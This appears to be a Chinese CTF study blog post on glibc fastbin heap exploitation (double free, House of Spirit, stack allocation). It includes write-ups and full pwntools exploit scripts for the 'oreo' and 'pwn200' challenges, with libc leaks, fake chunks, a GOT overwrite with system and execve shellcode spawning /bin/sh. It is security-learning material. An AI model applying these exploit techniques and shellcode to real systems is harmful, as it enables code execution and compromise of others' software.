感觉看 wiki 说的这东西算是涉及到 fastbin 的一类利用方式,不能算新的,了解一下 fastbin 的特点然后后面统一整理一下吧

image.png
image.png

fastbin

大小:
32 位:16-64 字节 0x10-0x40
64 位:32-128 字节 0x20-0x80
chunk 的大小而不是申请的内存的大小(申请的内存加上 chunk 头)

fastbinsY 是一个数组,相同大小的 chunk 放在一个数组元素指向的链表里面
单向链表后进先出,fastbinsY 数组中每一个元素指向该链表的尾结点,尾结点在通过 fd 指针指向前一个节点
例如:

1
2
free(ptr1);
free(ptr2);

最后那么是这样的 fastbin -> ptr2 -> ptr1

空闲的 fastbin chunk 不会被合并,不会修改 chunk 头

拿这个例子做一下实验

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include<stdio.h>
void main(){
char *a1=malloc(0x10);
memset(a1,0x41,0x10);
char *a2=malloc(0x10);
memset(a2,0x42,0x10);
char *a3=malloc(0x10);
memset(a3,0x43,0x10);
char *a4=malloc(0x30);
memset(a4,0x44,0x30);
char *a5=malloc(0x30);
memset(a5,0x45,0x30);
printf("malloc done!\n");
free(a1);
free(a2);
free(a3);
free(a4);
free(a5);
printf("free done\n");
}
image.png
image.png

可以看出链表来,后释放的 fd 指向上一个的,而不同大小的不会指向

image.png
image.png

Fastbin Double Free

wiki 上的描述,可以看到 chunk1 的 fd 会指向 chunk2 那么如果 chunk1 是我们可控的那么就可以申请任意地址的 fastbin

image.png
image.png

House Of Spirit

又是全新的知识 Orz
在目标地址伪造 fastbin chunk,然后释放掉,从而达到分配指定地址的 chunk 的目的
有一些条件:

fake chunk 的 ISMMAP 位不能为 1,因为 free 时,如果是 mmap 的 chunk,会单独处理
fake chunk 地址需要对齐, MALLOC_ALIGN_MASK
fake chunk 的 size 大小需要满足对应的 fastbin 的需求,同时也得对齐
fake chunk 的 next chunk 的大小不能小于 2 * SIZE_SZ,同时也不能大于 av->system_mem
fake chunk 对应的 fastbin 链表头部不能是该 fake chunk,即不能构成 double free 的情况

Alloc to Stack

通过修改 fd 指针,指向栈上,从而申请栈上的空间,进而控制返回地址

Arbitrary Alloc

跟上一个的区别在于这个是往任何可写的地方去分配 chunk

2014 hack.lu oreo

先随便申请两个看一下结构

1
2
add('1'*20,'a'*20)
add('2'*20,'b'*20)

可以看到申请的第二个上有一个指向第一个的指针

image.png
image.png

那如果第 2 个的 name 再多写一点,就可以覆盖掉这个指针了

1
name = 'a'*27 + elf.got['puts']
image.png
image.png

这时候再去 show 就能拿到 puts 的真实地址了,拿到之后就可以计算出 libc 的地址,进而拿到 system 和 ‘/bin/sh’ 的地址

接下来需要伪造一个 chunk,因为枪支的 chunk 大小是 0x40 的,而那个计数的东西在 bss 段中 0x804A2A4 的位置,每 add 一个就会 +1,可以用来作为 fake chunk 的 size,只需要多申请几个就可以
这时候可以同时把最后一个的指针改为 fake chunk 的地址(0x804A2A4 + 0x4)

image.png
image.png
1
2
3
4
5
6
count=1
while count<0x3f:
add('a' * 27 + p32(0), 'b')
count=count+1
payload = 'a' * 27 + p32(0x0804a2a8)
add(payload,25 * 'a')

这样 fake chunk 的 size 位就构造好了,同时最后一个 chunk 的指向了 fake chunk

image.png
image.png

还需要绕过一些检测:对齐、fake chunk 的 size 的大小、next chunk 的 size 大小、标记位检查
来看一下那个 Leave a Message 功能,他会往 0x804A2A8 指向的地方也就是 0x804A2C0 读取内容

image.png
image.png

我么可以通过 Leave a Message 往那个地方去写来帮助 fake chunk 绕过检查,比如:

1
2
3
4
5
payload = p8(0)*0x20 + p32(0x40) + p32(0x100)
payload = payload.ljust(52, 'b')
payload += p32(0)
payload = payload.ljust(128, 'c')
leave(payload)

首先是 0x20 的占位留给 fake chunk,然后是 fake chunk 的 size,接下来是 next chunk 的 size
此时内存布局:

image.png
image.png

释放的时候会把之前修改的指针指向的那个给释放掉,然后再去申请的时候就可以申请到伪造的那个 chunk
然后通过把 0x0x804A2A8 的地方改成某个函数的 got 表项再通过 Leave a Message 功能往改掉的那个地址上写内容以此来覆盖 got 表项的内容

1
2
3
payload = p32(elf.got['strlen']).ljust(20, 'a')
add('b' * 20,payload)
leave(p32(sys_addr) + ';/bin/sh\x00')

这里覆盖的是 strlen 的 got 表的内容为 system 的地址

image.png
image.png

Leave a Message 功能里面调用了一个函数,其中有 strlen
相当于 system(p32(sys_addr) + “;/bin/sh”)

image.png
image.png

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *
context.log_level = 'debug'
p=process('./oreo')
elf=ELF('./oreo')
libc = ELF('./libc.so.6')

def cmd(choice):
p.sendline(str(choice))

def add(name,description):
cmd(1)
p.sendline(name)
p.sendline(description)

def show():
cmd(2)
p.recvuntil('===================================\n')

def order():
cmd(3)

def leave(notice):
cmd(4)
p.sendline(notice)

def stats():
cmd(5)

add('1'*20,'a'*20)
name = 'a'*27 + p32(elf.got['puts'])
add(name,'b'*20)

show()
p.recvuntil('===================================\n')
p.recvuntil('Description: ')
puts_addr = u32(p.recvuntil('\n', drop=True)[:4])
print hex(puts_addr)
libc_base = puts_addr - libc.symbols['puts']
sys_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search('/bin/sh'))

count=1
while count<0x3f:
add('a' * 27 + p32(0), 'b')
count=count+1

payload = 'a' * 27 + p32(0x0804a2a8)
add(payload,25 * 'a')
payload = p8(0)*0x20 + p32(0x40) + p32(0x100)
payload = payload.ljust(52, 'b')
payload += p32(0)
payload = payload.ljust(128, 'c')
leave(payload)

order()
p.recvuntil('Okay order submitted!\n')
payload = p32(elf.got['strlen']).ljust(20, 'a')
add('b' * 20,payload)

leave(p32(sys_addr) + ';/bin/sh\x00')
p.interactive()

2017 0ctf babyheap

L-CTF2016–pwn200

这里的 v2 是在 0x30 的位置,而 read 读入的时候可以读入 0x30,但是不会再末尾自己加上 \x00,所以如果输满了可以把后面的 rbp 给泄露出来

image.png
image.png

buf 在 rbp-0x40,dest 指针在 rbp-0x8,所以 buf 的最后八字节会把 dest 给覆盖掉

image.png
image.png

在输入 id 的那里会把输入的 id 放到 rbp-0x38 那里

image.png
image.png

首先通过 read 函数来泄露出来 rbp 中保存的地址

1
2
3
4
5
6
7
8
9
shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
payload = shellcode.ljust(46, 'a')
payload += 'bb'
p.send(payload)
p.recvuntil('bb')
leak_addr = p.recvuntil(', w')[:-3]
leak_addr = u64(leak_addr.ljust(8,'\x00'))
fake_addr = leak_addr - 0x90
shellcode_addr = leak_addr - 0x50

箭头指向的是 rbp,0xe0-0x90=0x50,所以 shellcode 的地址是在泄漏的那个地址减 0x50 处

image.png
image.png

因为是先输入 id 再输入 money,所以那个 id 是在 money 下面的,可以通过 id 来伪造下一个堆块的 size(在一个范围内就可以,不能小于 2 * SIZE_SZ,同时也不能大于 av->system_mem)

1
2
p.recvuntil('id ~~?')
p.sendline('48')

然后在输入 money 的时候伪造一个 chunk,并且覆盖掉 dest

1
2
3
4
p.recvuntil('money~')
payload = p64(0) * 5 + p64(0x41)
payload = payload.ljust(0x38, '\x00') + p64(fake_addr)
p.send(payload)

这是构造的 fake chunk

image.png
image.png

emmm,要是再减去 0x8 就更好看了

image.png
image.png

看一下栈上的结构,最上面是构造的 chunk,下面是 id(作为 next chunk size)然后是 shellcode 以及之前泄露的地址

image.png
image.png

先释放掉让伪造的 chunk 进入到 fastbin,然后再申请就申请到了伪造的 chunk,这时候覆盖掉 rip 为 shellcode 的地址就可以拿到 shell

image.png
image.png

这里有点疑惑为啥会把那个伪造的 chunk 放到 fastbin?还是没把程序的功能理顺,我们把 dest 给覆盖掉了,覆盖为了 fake chunk 的地址,然后 dest 放到了 ptr,后面 free 的时候是 free(ptr) 的

image.png
image.png
image.png
image.png

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
p = process("./pwn")
shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
payload = shellcode.ljust(46, 'a')
payload += 'bb'
#len=0x30
p.send(payload)
p.recvuntil('bb')
leak_addr = p.recvuntil(', w')[:-3]
leak_addr = u64(leak_addr.ljust(8,'\x00'))
fake_addr = leak_addr - 0x90
shell_addr = leak_addr - 0x50
print 'shellcode addr:'+hex(shell_addr)
print 'fake addr:'+hex(fake_addr)
print 'leak addr:'+hex(leak_addr)

p.recvuntil('id ~~?')
p.sendline('48')

p.recvuntil('money~')
payload = p64(0) * 5 + p64(0x41)
payload = payload.ljust(0x38, '\x00') + p64(fake_addr)
p.send(payload)

p.recvuntil('choice : ')
p.sendline('2')

p.recvuntil('choice : ')
p.sendline('1')
p.recvuntil('long?')
p.sendline('48')
p.recvuntil('\n48\n')

payload = '0' * 0x18 + p64(shell_addr)
payload = payload.ljust(48, '\x00')
p.send(payload)
p.recvuntil('choice : ')
p.sendline('3')

p.interactive()